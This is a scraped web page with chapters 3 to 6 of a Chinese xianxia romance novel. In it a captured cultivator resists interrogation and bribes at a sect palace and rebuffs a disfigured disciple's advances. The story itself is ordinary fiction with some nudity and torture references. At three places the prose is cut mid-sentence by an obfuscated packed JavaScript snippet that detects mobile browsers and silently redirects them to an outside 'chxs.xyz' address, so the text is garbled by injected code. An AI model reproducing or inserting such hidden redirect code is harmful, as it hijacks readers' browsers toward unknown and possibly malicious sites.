《如何折辱清冷仙长》 3.第 3 章 无垢老母现如今不见客。 这也是慕道瑛来到合欢宫主峰浮花峰之后,才得知的消息。 陈玉柔含着歉疚的笑,娓娓解释说:“也是不巧。老母这些时日进境在即。正是要紧关头,不得不闭关以寻求突破。” 慕道瑛一怔,动容道:“听闻老母十年前才刚突破了六境修为,转眼之间,竟又要冲关七境?” 陈玉柔与有荣焉,笑吟吟道:“老母天资非凡,又夙兴夜寐,理当如此。” 又说:“老母与仙长神交已久,自从知晓仙长被仙盟关押的消息后,便一直关切在心,只盼能与仙长见上一面。” 这话便纯属客气的场面话了。慕道瑛答得也十分谦恭客气:“老母厚爱,小子愧不敢当。” 言谈间,便已上了浮花峰,入浮花主殿。 陈玉柔嘱人奉茶看座,请他稍等片刻,不一时的功夫,便引了一宫装美人前来。 慕道瑛落座并未坐全,只据了椅子一角,见那宫装美人匆匆来到,便顺势站起身。 少年神色平静,身姿清拔如山,玉骨冰清,只疏疏落落地站着,并未行礼。 戚湄见他第一眼,便知晓这少年人有傲骨。 合欢宫名声不好,仙盟座下的修士又自诩正道,向来瞧不起合欢宫门人。这少年是仙盟年轻一辈子弟子中的魁首,素有盛名,若见了她便先行见礼,难免怯了一段。 气场一怯,便失之软弱。有示弱于人之嫌。身陷囹圄,便更要抱定一身的风骨。 戚湄态度有几分轻慢问:“这位难道便是老母属意的人物。” 陈玉柔从旁介绍,“是,这位正是玉清观‘玉剑丹心’慕道瑛慕仙长。” 戚湄这才朝他略略颔首,启唇道:“慕仙长。” 慕道瑛微一欠身,“瑛见过副掌。”举手投足间,每一个幅度都是极妥帖的,若非经年累月,翰墨书香浸润着,礼仪法度教养着,鲜能养出这样的风度来。 但戚湄身为合欢宫的副掌,见过的,尝过的俊秀人物,没有八百,也有八十。 慕道瑛的确是难得一见的尤物不假,但如今她满脑子都记挂着正事,实在没多少贪花弄月的心思。 见过礼之后,二人便各自落座。 戚湄娥眉微蹙,面向陈玉柔,语带埋怨:“是岁正值合欢宫一甲子一度的合欢大典,师妹倒是往衔云塔里闭关躲清静去了,这阖宫上下,一大摊子的事却落到了我一人头上。如今还要来替她见个什么小子……” 陈玉柔笑说:“话不能这么讲,慕仙长身上关联着返魂灯失窃一案,干系重大,非得副掌出马不可。” 戚湄冷笑:“他秦仙都执掌的仙盟都没问出个所以然来,难道我便能问出个东西来吗?” “要我说师妹她就不该将人劫出来,弄来这么大个麻烦。到时候仙盟问罪,我合欢宫拿什么交代?” 陈玉柔噙着笑说:“副掌是老母同门师姐,老母正是信重副掌,才委以副掌重任呢。” 戚湄端起茶盏,呷了口茶水,淡淡说:“只怕到时做多错多,吃力还讨不得好。” 这话说得不客气,在场气氛顿时一冷。 慕道瑛不言不语,却也在暗暗留心着这二人间的言语机锋。 据传言,合欢宫副掌戚湄与无垢老母关系不合,此言恐怕为真。 隔了须臾,陈玉柔这才开了口,仍是笑脸相迎,恍若只玉面狐狸,“自从老母接任宫主以来,知人善任,将咱们合欢宫从昔年一个不入流的小门小派,建设到如今的地位。鲜花着锦,烈火烹油,正是紧要时刻。 “外头的人多对咱们的修炼方式多有误解。更有不少眼红咱们家里如今风光的。 “合欢大典上,恐怕有不少宵小潜伏捣鬼。副掌是老母师姐,有你镇场子,想来那些宵小也不敢造次。” 陈玉柔眼一弯,末了有些意味深长地说,“还望副掌莫要辜负老母信任才好。” 戚湄抬起眼,陈玉柔不闪不避,两人对视少顷。 戚湄将眉一皱,这才转向被晾了多时的慕道瑛,说起正事,“也罢,早点问清楚了早点了结。” “你师父灵元当真与魔门勾结?” 见话题终于绕到自己头上,慕道瑛凝神答说:“不知。” 戚湄:“不知?不知你帮你师父逃跑,戕害同门?仙盟盗宝者死的道理难道你也不知道吗?” 慕道瑛平静说:“非是戕害,瑛未伤及同门性命,只是阻拦。灵元盗宝一案,疑点重重。疑罪从无,疑赏从有。瑛身为玉清观执法,在真相未明之前,理当先稳定局势,避免嫌犯伤亡,真相蒙蔽。” 在被仙盟捉拿关押之后,类似这样的刑讯已经进行过不知几轮,身上的皮肉之苦也不知吃过几遭,慕道瑛仍是抱定了“不曾合谋,不知,不敢,不妄言”的说法。 戚湄:“照你的意思,你是说你师父被人陷害?” “我听说灵元真人,与人为善,谁要陷害你师父?难不成是与你师父与掌门之争的清虚?噢——如今该说是贵掌门了。” 慕道瑛仍是道:“瑛不敢,也从未作此设想。” 戚湄:“倒是师徒情深。你可知晓仙盟为何要大费周折地徒步三千里,押你去金庭玉台受审?” 慕道瑛不答。 戚湄又呷了一口茶:“自然是想引蛇出洞,诱你师父行踪。可谁曾想,灵元竟不出面,你是孺慕情深,但你师父似乎并不在乎你死活。” 慕道瑛眉眼不变:“仙盟公正,天下共睹。不必救瑛。仙盟也定会查明事情真相,还瑛一个公道。” “公道?”戚湄反问,“如今你没了身份、地位,沦为仙盟阶下囚,背负重重骂名,人人喊打。这便是仙盟给你的公道?依我看,仙盟多沽名钓誉,汲汲营营之辈,表里不一,衣冠禽兽之徒。你倒不如索性说出你师父与返魂灯的下落,加入咱们合欢宫。” “若真是他人陷害,你们师徒二人都性命难保,只要你识大体,懂进退,合欢宫必定保你师徒二人性命无忧,荣华富贵。” 慕道瑛心平气和:“瑛如今是仙盟要犯,只怕贵派吃不下。” 不管戚湄如何晓之以情,动之以理,示之以威,慕道瑛仍是态度坚决,圆融,滴水不漏。 原本她就记挂着一件更重要的大事,心思不在慕道瑛身上,更不赞同无垢老母劫囚的做法。例行公事问了这一番下来,戚湄的耐心也终于告罄,扬手将杯中残茶一饮而尽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007161|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍然起身,冷冷一笑说:“好一块难啃的硬骨头,难怪仙盟也问不出个所以然来。” “这人我是没法。”戚湄对陈玉柔道,“人是师妹点名要的,又是你带回的,师妹出关之前,我不敢拿他如何。你是师妹心腹,要怎么做你比我清楚,这人要如何处置还是交由你自行裁断罢。” 戚湄一走,陈玉柔轻轻叹了口气。 “道长当真风骨鲠介,执拗硬气。” “老母吩咐,在下也不敢不从。这样吧——”陈玉柔想了想,朝殿内侍从招了招手,说了些什么。 侍从依言退下,隔了一会儿,又引了五个女弟子上来。 先上来的四个,个个身姿婀娜,容色倾城。 慕道瑛俱视若寻常,直到看到第五个女弟子时,他目光微凝,眼底有细小波澜。 这第五个女弟子,身材矮小,疮面薄唇,眉眼红肿,正是他方才在道边所见那被痛殴不止的女子。 五个女弟子一人手中捧着一盏玉盘,盘内各盛放一斛明珠,一本功法,一瓶丹药,一支金钗。 以及那疮面女子手捧的一条漆黑带血的倒钩长鞭。 他抬眼:“总管此举何意?” 陈玉柔叹息:“道长执拗,在下心知说不动道长,只好让道长自行选择了。” “这五件物什,分别代表五样待遇。这明珠,代表的是钱财珠宝,金银灵脉,这功法——是合欢宫所珍藏,圣君姜文昭所遗武经残卷。” 陈玉柔解释说:“外界传言,老母正是得了圣君传承,这才得以凡女之身,百年之内,精进迅速,执掌一方。传言其实并不算假。” “而这金钗——”说到这里,陈玉柔神秘一笑,叫那女弟子上前。 那女弟子白衣如雪,姿态娴雅端庄,神色孤高,有些孤芳自赏之意,似乎对周遭的一切都全不满意。 乍见慕道瑛,女弟子却怔了一怔,眼底流露出淡淡的惊讶。 “此女姓白,容色道长也见过了,若道长愿意,在下便将她赠给道长,而像她这样的绝色,咱们合欢宫无有一百,也有八十。” 慕道瑛望也未望白梦离,只看向刘巧娥,“敢问这位道友又代表何物?” 陈玉柔轻抚长鞭,柔声轻叹:“若道长不愿,敬酒不吃吃罚酒,在下便只能以此为招待了。” 那前四个女弟子,各个容色绝艳,温香软玉。 唯独面前这一个,容貌丑陋,貌若夜叉,由她来代表那丑的,恶的残酷刑罚似乎再合适不过。 刘巧娥手捧玉盘,咬紧了牙关,面无表情地站着,脊背一寸寸绷得笔直。 双颊因为耻辱,愤怒微微烧红,倒显得那疮面充血愈发丑恶。 方才她一气之下跟范舒云等人扭打在一起,陈玉柔的属下及时过来劝阻,责令范舒云、冯扶月几人去思过崖思过。却叫了她跟白梦离到浮花殿来。 来之前,陈玉柔便叮嘱过她要忍耐。她如今不比从前,需得谨记她如今是刘巧娥,也只能是刘巧娥。 刘巧娥努力地去忍了,可对上慕道瑛的目光的刹那,她却忍不住一惊,心脏仿佛被无形的大手攥住。 这世上怎么会有长得这么漂亮,风度这么秀雅的男子? 4.第 4 章 在慕道瑛望向她的第一眼时,她便已经痴了。 如同这世上所有愚蠢浅薄,贪恋男子好皮相的女人一样。 刘巧娥在看到慕道瑛第一眼时,也忍不住沦陷了。 眼前这年轻的男人,如山月,山岚,山风,山水。 他给她的第一眼感觉,便是干净。 第二便是雅致。 是这合欢宫中罕见的洁净芳魂。 大抵上,如慕道瑛之类的修道人,天之骄子,正道栋梁,大多不够平易近人。 眼前的年轻男人不同,他的冷是很清淡的,是清心寡欲的平和。 仿佛江边一轮娟秀的月,月色照近人家,施予淡淡月华微光。 刘巧娥感觉到自己双颊温度又开始发烫。 她慌乱地低下头,难得露出了点儿小女儿情态,这时,什么范舒云早已被她丢到了十万八千里之外。跟眼前这个男人相比,范舒云连给他提鞋都不配! 她便是这般朝秦暮楚,水性杨花之辈。 可是,短暂的羞怯心动之后,她忽然又感到一阵无来由的焦躁,愤怒。 她心里猛地抽动了一下,于心悸中感到一阵强烈的惊痛。 这是个清俊到令人柔肠百结,随后又柔肠尽碎,心痛难忍的男子。 或许是因为女子只要第一眼见过他,便没有不心动的。心动之后,便又迅速清醒过来,意识到这样的男人远非我辈所能拥有。 她知道,她永远也不可能得到这样的男人。 这样的男人,只有生得如白梦离那般漂亮才有机会竞逐。 她跟他从头到脚都不匹配,她这样的人不配言爱,就连心动也只会被人当成奇景笑话。 她心里生出一股强烈的不甘与怨毒,乃至对慕道瑛本人的迁怒。 这实在是很没有道理。毕竟慕道瑛又从没对不起她,无需为她一厢情愿的心动负责。 而如今,慕道瑛要在她跟白梦离之间—— 准确地说,是在富贵荣华,与丑恶苦痛之间作出抉择。 刘巧娥此时已经认定,慕道瑛也庸俗浅薄如这世上所有男子,只会跟最漂亮,最高贵的女子产生人际纠葛,她这样的人,别说纠葛,连他一片衣角都挨不上。 她在心动,心碎,心痛之后,迅速转成对他一厢情愿的痛恨和厌恶。 慕道瑛的目光自她与白梦离等人之间历历掠过,她宁愿他看着她的眼神满斥着不喜,也好过他这样平静,安宁地望过来。 那样的眼神,与看道旁普通的路人,草木没什么两样。 她已经习惯,她的丑陋是一种可堪赏玩的奇景。 慕道瑛的一视同仁,却让她感到被居高临下的包容,她感到被羞辱。 饶是她先将自己贬低到尘土里,将期待降到最低,当慕道瑛抉择时,她还是忍不住有些羞怯和慌乱,躲闪的目光里潜藏着很细微的期待。 陈玉柔道:“不管道长作何抉择,这五个女弟子,都可让道长带回服侍。” 慕道瑛微微阖眸,他并不赞同合欢宫将女弟子视若物件,供君挑选的做法。 顿了一会儿,慕道瑛睁开眼,终于开了口:“抱歉,贵派的条件恕瑛难从命。” “至于这几位道友。” “瑛平日里孤身一人惯了,无需人费心服侍。要杀要剐,陈总管自便罢。” 刘巧娥一怔,面色一变。 陈玉柔神情倒是没任何改变:“哦?” “慕仙长的意思,以在下所见,怕是选择这鞭子了?” 慕道瑛:“道友若非要作此解,便权作如此罢。” 陈玉柔轻笑一声,赞道:“道长当真是个表里如一的硬骨头,与那些贪生怕死,徒负虚名的正道修士都不同。今日也算让柔始见君子。” “道长是君子,在下虽与道长道不同不相为谋,却也不得不敬道长这一份风骨。” “我陈玉柔说过的话从不反悔。”陈玉柔看向刘巧娥,“这个女弟子道长还是择一带走罢。道长初来合欢宫,人生地不熟的,也需要个人在身边指引。” “至于这刑罚——”陈玉柔想了想,笑着用最柔和的口气说出最令人悚然的话,“今日便算了,你是个硬骨头,寻常刑罚或许拿你不下,要如何行刑还得我仔细想想。” 慕道瑛也知晓话到这份上,是万不能再推却了。 他略迟疑了一刹,看了刘巧娥一眼,那女子目光震惊,他轻轻点了点头,嗓音很轻柔:“道友,指教。” 他选她?刘巧娥目光闪烁,震惊莫名,他竟然选她?他眼瞎了?! 她身边那几个女弟子也都大吃一惊,或露出忿忿不平之色。 陈玉柔吩咐刘巧娥:“且将仙长暂时安置在水云涧。” 待众人散去,目睹刘巧娥离去的身影,陈玉柔轻轻地叹了口气。 当局者迷旁观者清。刘巧娥她对慕道瑛执念太深。 冰冻三尺非一日之寒,二人孽缘天定,也不知今日安排他二人接触到底是对是错。 *** 刘巧娥走在前,领着慕道瑛往水云涧的方向而去。 慕道瑛竟然会选她,令刘巧娥又惊又喜,又莫名其妙。 他知道,在合欢宗里选她做女侍意味着什么吗? 能跟他这样的谪仙人接触固然可喜。 可欢喜过后,她发热的大脑又迅速冷却下来。甚至更因他的抉择生出了点莫名的矜持清高。 她浑身紧绷,不知要如何跟慕道瑛相处,因而一言未发,一路默默无言地走在前面。 在慕道瑛看来,她头也不回一路默默无言走在前面,个子矮小,身形纤弱,两削肩膀瘦伶伶的,偏脊背挺直,有几分单薄的倔强。 他看在眼里,主动打破了沉寂:“未请教道友名姓。” 刘巧娥回过神来:“刘,我姓刘,叫刘巧娥。” 慕道瑛说:“在下慕道瑛,大道至简,玉光之瑛。” 对于眼前这女子,他实有些同情与怜悯。 很明显,她因容貌丑陋,修为低微,在合欢宫中备受欺凌。既受欺凌,则必心生怨气。这对于初来乍到的慕道瑛而言,其实是个很好的切入点。 他有意同刘巧娥攀谈,但刘巧娥态度冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015743|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡,他竟难得有束手无措,无从下手之感。 从前,从来都是人人主动示好攀交,这还是他第一次在这古怪的女子身上吃了闭门羹。 他虽性格冷清,却并非不通人情世故,也晓得这姑娘久经欺凌压迫,想必性格孤僻,心防甚紧,一时急不得。 两人一边走,一边说,不一会儿的功夫,便来到一处陡峭的崖壁下。 清溪潺潺,萦绕崖趾,远远望去,水天一色,流水错落有致,叮咚有声。这便是所谓的水云涧了。 溪上临水而建着一座三合的小院,正是慕道瑛今后的暂居的落脚处。 刘巧娥将他领到屋内,又简单介绍了些在此处起居的注意事项。 刘巧娥公事公办道:“稍后我还得回去向总管复命,道长且先看着,若有什么短缺之处,索性一并提出来,我也方便替道长操办。” 慕道瑛环视一圈,见桌椅板凳,一应俱全。他名为做客,实为囚禁,自然不会有什么异议。更遑论他物欲淡泊,有张床可供打坐修行便已知足。 “此处风景幽静,无有什么短缺之处,有劳道友费心。” 刘巧娥的嗓音平直,语气寒峭,“道友既无异议,那在下便先回去复命了。” 刘巧娥走后,慕道瑛并未着急歇息。 他伤重未愈,千里迢迢这一路奔波还未曾喘口气,按理来说,是该养精蓄锐,仔细应对日后的危机变化。 奈何他如今道心不定,惦记着师尊灵元的下落与各方局势,道心不定。 杂念横生,浮游乱想,便是打坐入定也收效甚微。 慕道瑛也不再勉强,索性出了门,观察起周遭的环境。 水云涧后的山壁地势陡峭,怪松盘结,千章竞秀,郁郁苍苍,因而得名松风崖。 登高望远,倒是能将周遭景色,附近人员走动,一览无遗。尤其是向西看去,还能隐约瞧见合欢宫西侧门的护卫走动巡逻。 慕道瑛默记住这个地点,思索着日后的安排,不知不觉便已近日暮。 风中传来写细微声响,修道之人感官敏锐,他辨认出那是屋内的动静。 想来该是刘巧娥折返。 他下了山,果见屋内点了灯。 他刻意放慢了脚步,令步伐声清晰可闻,近到门前,并未着急入内,只敲门问:“刘道友?” 隔了好一会儿,屋里才传来刘巧娥的嗓音:“进来。” 这嗓音一如既往的平直,冷硬,但又打着颤,像是紧张,不安到了极点。 这水云涧中应该没有危险,慕道瑛当她遇到什么难事,略一犹豫,急急推门而入。 只见灯光昏暗,朦胧暧昧,床上隐约伏着团身影。 刘巧娥红着脸,咬着唇,脱光了衣服横卧在他床上。 被褥半遮半落,盖不住大片赤—裸的春-光! 哪里有什么危险,只有玉体横陈的女人。 慕道瑛几乎还没回过神来,这旖旎风光便已劈头盖脸撞入他眼底。 他心中陡然一惊! 未及多想,慌忙闭上眼,后退了半步:“刘道友?!” 5.第 5 章 合欢宫一直有个不成文的暗规。 招待客人的女侍,乃至男侍,不仅要照顾好客人的衣食住行,务令宾至如归,还要伺候床榻,暖床温衾。 所以刘巧娥在慕道瑛选择自己之后,才会如此惊疑不定。 慕道瑛做梦也没想到这个性子孤僻的女子,去而复返,竟是衣衫尽褪,自荐枕席。他联想合欢宫阖宫上下的做派,瞬间便明白了过来。 “……可是宫中要求?”他闭着眼,轻声问,眼睫鸦黑纤长。 褪去衣物爬床之前,刘巧娥心里自然也是迟疑的。 她很确信慕道瑛选择她,只是出乎人道之义。合欢宗宫规如此,她只能照做。 她心里多多少少也能猜出慕道瑛的反应,可真见他畏她如虎,刘巧娥反倒心头不快,面色难看。 “道长难道不知道你留下我伺候你意味着什么吗?” “伺候客人枕席,本就是合欢宫的不成文的暗规。道长如今畏我如蛇蝎,又将我置身何处?!” 慕道瑛双颊滚烫,倍感羞赧、荒诞,亦觉难堪。难怪合欢宫为正道不容,阖宫上下处事的确大胆荒唐。 “在下是修道之人,无需委屈道友伺候枕席,”他强压下心头不适,轻声说,“道友请起罢。” 刘巧娥没动。 慕道瑛唯恐唐突,一直紧闭双眼,等了一会儿,也未等到刘巧娥起床穿衣的动静,“道友?” 刘巧娥的语气忽然变得激烈起来:“道友难道也是嫌在下样貌丑陋吗?” 慕道瑛一顿。 眼前的女子许是因为受过伤害,要比常人敏感多思许多。 “瑛无有此意,若是言语冒犯了道友,瑛在此向道友赔罪。只是——道友无需做到这个地步。”他解释。 刘巧娥却硬邦邦道:“我们合欢宫的弟子,修炼方式跟你们正道大不相同。你们觉得委屈,但能被合欢宗奉为座上宾的,无不是一方有头有脸的人物。能跟你们这样的人物双修,对我等来说反倒是求之不得的大好事。“ 慕道瑛蹙眉。 海棠树下初见面,他怜悯这女子孤弱可怜,如今才知晓其并非易于之辈。 “修行没有捷径,贵派功法固然能在短时间内提升修为,但根基不稳,贻害无穷。道友若想精进武功,瑛虽不才,亦可指点一二。” 刘巧娥反唇相讥:“天地之间,动须阴阳。阳得阴而化,阴得阳而通,阴阳交合,本为天经地义,如何贻害无穷了?” 刘巧娥言辞尖锐,慕道瑛主意已定,也不打断她,只安静地待她说完,才微含歉意地道了声:“抱歉。” “人各有道,恕在下不能从命。”语气淡而坚决。这是绝不允她心意了。 刘巧娥咬紧了下唇,面色一白,又迅速浮现出一抹羞愤的潮红。 他两眼闭得紧紧的,玉骨秀朗,伫立门前,端得是光风霁月。却愈发显得她赤身裸体,不知廉耻。 可就算她脱光了衣服,他也不肯要她! 这是刘巧娥第一次自荐枕席。 她虽然要强,但做这样的事总有些难为情,躺进被褥里的时候,羞耻得浑身上下不住发抖。 其实她多多少少猜出来了慕道瑛或许不允,但心里总不可免俗的抱有微小的希冀。 她忍不住想象,若是慕道瑛……若是慕道瑛允肯,她羞得忙闭上眼,脸上也开始发烫了。 便不是因为他生得俊秀,光是他那通身的修为,若能够与他交合,也不知会有多大裨益。 刘巧娥脸上青一阵白一阵 ,揪着被褥坐直身子,沉默不言地开始穿衣。 耳畔传来窸窸窣窣的布料摩擦声,慕道瑛敛眸屏息,抱元守一,不妄听不妄念。 刘巧娥穿了衣,一言不发地走下床。 他这才意识到她古怪的沉默,蹙了眉头:“刘道友?” 身畔,一道身影掠起一阵风擦肩而过,似乎不堪受辱,夺门而出。 慕道瑛蓦地意识到自己方才言辞太过直接,不近人情,或许伤到了这可怜女子。忍不住唤了一声,“刘道友?” 对方仍是不答。 谅想她此时或已经穿戴整齐,慕道瑛睁开眼,想要再解释: 至少,不要伤害到这个敏感的女子。 “道友……瑛,并非本意……” “说这些有什么用?”刘巧娥大声道,“你就是不肯跟我行房便是!” 睁开眼,他对上了一张涨得通红的倔强面皮。 慕道瑛心头一震。 哪怕心里清楚合欢宫门人行事大胆,作风放荡,他还是不自觉红了半边脖颈。滚烫的温度自脖颈一路攀升,眼见有愈演愈烈之势。 对上刘巧娥的视线,他这才意识到眼前的女子有一双,与外貌不符的极复神光的秋水双瞳。 此时此刻,这一双眼里闪烁着不甘,委屈。 “我知道你们这些男人。”刘巧娥咬牙,“嘴上说得好听,不过是嫌我样貌丑陋。” 慕道瑛:“……”他这还是第一次见到有人因不能跟他行房而感到不甘,一时间倍感尴尬棘手。 慕道瑛素日里持身极正,除却几个难得的好友之外,鲜少与女子接触,又因为执掌刑名,难免端肃了些。 他不会哄女子,抿了抿唇,放弃了语气:“在下不是这个意思,道友双眼藏神,风清骨峻,如何算丑了?” 刘巧娥一怔,见他双眼澄澄,“漂亮话谁不会说,我这人不看人说的,只看人做的。” 慕道瑛其实有一双温柔的眼,平常瞧着玉素雪魄一般,凝望人时甚至多情。 这姑娘防备甚重,性子犟,慕道瑛略一思忖,反问说:“道友是觉得自己哪里生得不好了?” 刘巧娥瞪圆了眼,噎住了。 觉得哪里生得丑?她皱着两道细长的眉,一时间犯了难。 仔细想想,自然是哪里都不满意的。但有时早上揽镜自照,亦觉有些俊俏的楚楚风致,只是那些人瞎了双眼,瞧不出自己的美。 说自己生得丑只是她防御的手段,真要说出个一二三四来难免有些灭自己威风的意思。 女人微恼红了脸,“你难道不怕我脸上这块疤?” 慕道瑛只静静用他温和的双眼瞧她,只是问:“此是天生还是后来?” 刘巧娥阴沉了脸:“受过伤,你管这些什么?” 慕道瑛不愿见她沉湎于自厌自弃之中,有意开解说:“常言之,梅花香自苦寒来。道友这伤想必伤得极重,伤口历经痛楚方才愈合,正是值得赞扬的坚韧不拔之质。” “这一块疮面,非但不丑,反倒愈见傲雪寒霜之美。” 刘巧娥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020684|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一愣,捂住了脸,指腹下滚滚发烫,索性她疮面本就发红,一时间倒也瞧不出蹊跷。 她是丝毫不愿在人前显露出软弱的,神情又故作冷淡,目含讥诮:“在下竟不知玉剑丹心竟也是如此花言巧语之辈。” 慕道瑛神情平静:“在下所言皆出自肺腑。” 刘巧娥神情略微松动,慕道瑛见开解生效,心底松了口气。 他与合欢宫的行事作风当真是八字不合,这一路而来,强撑着伤体打起精神虚与委蛇,如今这一口气一松,眼前倏地一黑,险些立足不稳。 慕道瑛微不可察地皱了眉,下意识想强撑遮掩。 刘巧娥看他几眼,冷不丁开了口:“你受了伤?” 既已被看穿,慕道瑛也不再作无用功,据实以告:“仙盟曾用过一些刑罚。” 刘巧娥皱了眉,语气有点生硬:“……你等着,我给你拿些伤药来。” 慕道瑛客气:“有劳。” 刘巧娥冷淡:“总管将我指给你,自然不能见你死在这里,养好了伤才方便合欢宫刑供。” 最后的“刑供”两个字触目惊心,慕道瑛置若罔闻,呼吸平稳如初。 隔了一会儿,刘巧娥便抱了瓶瓶罐罐回来。 她似乎鲜少关切人,语气生硬地指着这堆伤药,将这些伤药的功效,使用方法,搭配剂量,一一跟慕道瑛说明。 慕道瑛一一听得认真,末了,道声:“多谢。” 等了须臾,眼前的女人却直挺挺地像扎根在了原地,没有离去的意思。 慕道瑛:“刘道友?” 刘巧娥的目光这才有些闪躲,喉口滚了滚,“你一个人应付得来吗?要不要我帮你上药?” 间或觑他一眼,目光遮遮掩掩,却十分赤-裸。 慕道瑛仿佛被人扎了一下,心里隐约泛起一阵不适。 他默了一刹,嗓音已有些刻意的冷淡:“不必。” 刘巧娥脸色绷紧了,似乎也觉心虚,倒也没再坚持,“我就守在门口。有事喊我。” 慕道瑛应了,待刘巧娥出了门,他看了几眼门板,默默走过去插上门闩,这才解开了裹身的那一袭麻布道袍,露出伤痕累累的身躯。 伤口的血肉与粗糙的麻布干结在一起,脱衣的时候连带着要揭下一小块血肉来。 不一时的功夫,慕道瑛身上又见斑斑血迹。 其实,他的性子未尝不比刘巧娥犟。仙盟内部不太平,几大家明争暗斗得厉害。 有人想逼问灵元的下落,有人想逼供他坐实灵元与魔门勾结,慕道瑛不肯,仙盟便用酷刑,酷刑用尽了,他仍不肯松动。 仙盟没了办法,只好将他送到金庭玉台。 慕道瑛遵照刘巧娥的叮嘱,将伤口一一抹了药,不过须臾功夫,便感到疼痛大缓。 自古医道不分家。慕道瑛也学医,能瞧出这些伤药之间的搭配大有讲究。 倘若都是刘巧娥挑选——没想到她修为平平,却也长于医道,果真是人外有人天外有天,无人可小觑。 收拾妥当,他捏了个洁净诀本想上床歇息。 见被褥凌乱,一床狼藉,慕道瑛微一顿。他素有洁癖,刘巧娥赤身裸体躺过,不论如何他都不会再睡了。 只得折回桌案前那一方小小的青布坐榻上趺坐入定。 6.第 6 章 初日涌出,林间浮雾未散,照得天地间金光四射,遍地璀璨。 一缕氤氲之气自囟会飞出,慕道瑛缓缓睁开眼,浅淡双眸浸润天光,荡涤尘情,如水无波,平凝坚定。 经过一夜打坐调息,他体内紊乱的气机终于渐渐平顺下来。 仙盟为防犯人脱逃,会封住犯人周天灵窍。 经过他一晚调息,已经冲开少许,但仍有大部分灵窍仍处于闭锁状态,一时半会也急不得。 正在这时,忽听到水云涧外有人呼唤“刘道友”的名字,慕道瑛等了一会儿也不见刘巧娥出面。 他隐约记起日出之时,曾经听到细微动静,料想刘巧娥那时已经出门。 慕道瑛便站起身,走到门前。 只见门前站着个白衣少女,貌比花绮,冷若冰霜,十分眼熟。慕道瑛认出来那正是昨日海棠树下那个,之后也跟刘巧娥一同捧盘。 那白衣少女瞧见他,面露惊讶:“慕……道瑛?” 青年个头极高,瑰姿伟美,一袭简朴的白麻道袍早已破旧不堪,但收拾得依然整洁干净。 初来乍到,对于合欢宫中的一切人和事,慕道瑛都秉承着谨慎的态度。闻言客气而不失距离道:“正是在下,未知足下名姓?” 慕道瑛的气质太过冲淡清疏,刹那间,竟令白梦离有些恍惚。 有多久了? 她有多久不曾见到过这样的人物了? 她从前其实是见过慕道瑛的,那大概是三十多年前的事了。 三十多年前的春台论道上,她曾远远地瞧见过慕道瑛一眼,见他玄袍仗剑,楼台摘花,一举夺得魁首。 在众人欢呼喝彩声中,青年道子反倒没表现得天才常有的骄矜,反倒十分稳重,极为谦逊平疏地接过魁首的奖励。 而那时,韩郎还陪伴在她身边。 韩郎见她看得痴了,还笑着对她说,他也是个男人,若她再这样看下去,他就要吃醋啦。 想到这里,白梦离的眼角不由湿润了。 她和韩郎青梅竹马,两小无猜,却不料有一天,这一切突然就变了。 再见面的时候,韩郎寸步不离地守在那个女人的身侧,那个合欢宫的宫主,无垢老母…… 那个反复无常,心胸狭窄,貌若修罗的女魔。 她站在人群中,分明瞧见韩郎逢迎那个女人时,笑容下的疲惫与颓废。 若不是当初为了替她解毒,韩郎又怎会甘愿成为那女魔的入幕之宾。 慕道瑛的容貌虽然跟韩郎截然不同,其端正清雅的模样还是令她想起了从前的恋人。 白梦离其实不姓白,她本姓“宋”,出生东华界名门之一的云山宋氏。 是仅次于玉清,游剑,太和三大宗门的名门世家。 因为恋人韩云澈成了无垢老母的入幕之宾,这才隐姓埋名投身于合欢宫门下。这样的出身,令她入宫的这三年来,身心仿佛被投入了火炉之中,日夜煎熬。 她身边的这些“人”,与其说是人,不过是一个个披着鲜亮外皮,滥交野合的禽兽! 无人知晓她内心的苦痛。 韩郎。 每次坚持不下去的时候,白梦离总会想到记忆中韩郎那阳光般温暖的笑容,低语时醇酒般的嗓音。 她改头换面,背弃了“宋氏”之名,离开云山,加入这个淫窟魔域,就是为了能救恋人于那个毒妇的身边。 都怪当初她太过莽撞,为了制服那只魔兽受了重伤,若非如此,韩郎也不会被那女魔看中,将他从她身边生生抢走。 一想到韩郎在那女魔手底下的日子。白梦离心就仿佛被撕裂开来。好在忍耐这些时日,一切都要结束了,很快他们便将苦尽甘来,韩郎告诉她,只要等到合欢大典,只要等到合欢大典,那个毒妇就彻底完了。 入宫这三年来,她从未看得起过身边任何一人。 唯独这位玉剑丹心,她曾听闻过他的大名,对他心怀敬佩。 昨日在浮花殿中见他,惊讶之余更有共落泥泞的同病相怜之感。 